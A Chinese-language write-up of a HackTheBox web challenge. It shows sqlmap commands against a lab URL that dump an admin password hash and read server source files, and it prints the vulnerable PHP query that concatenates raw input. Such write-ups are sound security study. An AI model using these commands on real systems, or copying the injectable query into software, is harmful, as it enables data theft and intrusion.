第一眼看上去没什么特殊有意思的功能,最后可以提交一个表单,但是实际上表单的功能还没做完,是无法提交的,没什么有意思的。

查看一下源码,发现源码里有一些有意思的注释

看了第一眼猜测可能存在sql injection。

sqlmap跑了一下果然有。

先查看一下有意思的数据库内容。

sqlmap -u http://docker.hackthebox.eu:32943/portfolio.php?id=1 -T safeadmin –dump

[21:03:35] [INFO] fetching entries for table ‘safeadmin’ in database ‘freelancer’
Database: freelancer
Table: safeadmin
[1 entry]
+—-+———-+————————————————————–+———————+
| id | username | password | created_at |
+—-+———-+————————————————————–+———————+
| 1 | safeadm | $2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K | 2019-07-16 20:25:45 |
+—-+———-+————————————————————–+———————+

[21:03:35] [INFO] table ‘freelancer.safeadmin’ dumped to CSV file ‘/root/.sqlmap/output/docker.hackthebox.eu/dump/freelancer/safeadmin.csv’
[21:03:35] [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/docker.hackthebox.eu’

发现数据库里储存了一串hash,hashcat跑的特别慢,虚拟机跑的只有58H/s,所以放弃爆破

sqlmap还有读取文件的功能,猜测这个web root 是在 /var/www/html ,尝试了一下果然是对的,再尝试读取一下这个portfolio的源码。

sqlmap -u http://docker.hackthebox.eu:32943/portfolio.php?id=1 –file-read=/var/www/html/portfolio.php

<div class="modal-dialog modal-xl" role="document">
  <div class="modal-content">

    <div class="modal-body text-center">
      <div class="container">
        <div class="row justify-content-center">
          <div class="col-lg-8">
            <!-- Portfolio Modal - Title -->
            <!-- Icon Divider -->
            <div class="divider-custom">

            <!-- Portfolio Modal - Image -->
            <img class="img-fluid rounded mb-5" src="img/portfolio/cabin.png" width="300" height="300">
            <!-- Portfolio Modal - Text -->
            <p class="mb-5"><?php

$id = isset($_GET[‘id’]) ? $_GET[‘id’] : ‘’;

$query = “SELECT * FROM portfolio WHERE id = $id”;
if ($result = mysqli_query($link, $query)) {

/\* fetch associative array \*/
while ($row = mysqli\_fetch\_row($result)) {
    printf ("%s - %s\\n", $row\[1\], $row\[2\]);
}

/\* free result set \*/
mysqli\_free\_result($result);

}

/* close connection */
mysqli_close($link);
?>

        </div>
      </div>
    </div>
  </div>
</div>